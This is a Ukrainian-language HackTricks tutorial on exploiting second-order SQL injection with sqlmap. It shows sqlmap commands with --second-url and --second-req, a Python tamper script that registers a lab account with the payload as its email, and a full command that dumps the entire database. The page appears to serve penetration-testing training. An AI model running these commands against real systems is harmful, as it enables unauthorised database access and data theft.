tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

SQLMap може експлуатувати другорядні SQL-ін'єкції.
Вам потрібно надати:

  • запит, в якому буде збережено payload SQL-ін'єкції
  • запит, в якому payload буде виконано

Запит, в якому зберігається payload SQL-ін'єкції, вказується так само, як і в будь-якій іншій ін'єкції в sqlmap. Запит, де sqlmap може прочитати вихід/виконання ін'єкції, можна вказати за допомогою --second-url або --second-req, якщо потрібно вказати повний запит з файлу.

Простий приклад другого порядку:

bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

В кількох випадках цього буде недостатньо, оскільки вам потрібно буде виконати інші дії окрім надсилання payload та доступу до іншої сторінки.

Коли це потрібно, ви можете використовувати sqlmap tamper. Наприклад, наступний скрипт зареєструє нового користувача використовуючи sqlmap payload як електронну пошту та вийде з системи.

python
#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

SQLMap tamper завжди виконується перед початком спроби ін'єкції з payload і він повинен повернути payload. У цьому випадку нас не цікавить payload, але ми хочемо надіслати кілька запитів, тому payload не змінюється.

Отже, якщо з якоїсь причини нам потрібен більш складний процес для експлуатації другої ін'єкції SQL, наприклад:

  • Створити обліковий запис з SQLi payload всередині поля "email"
  • Вийти
  • Увійти з цим обліковим записом (login.txt)
  • Надіслати запит для виконання SQL ін'єкції (second.txt)

Ця команда sqlmap допоможе:

bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks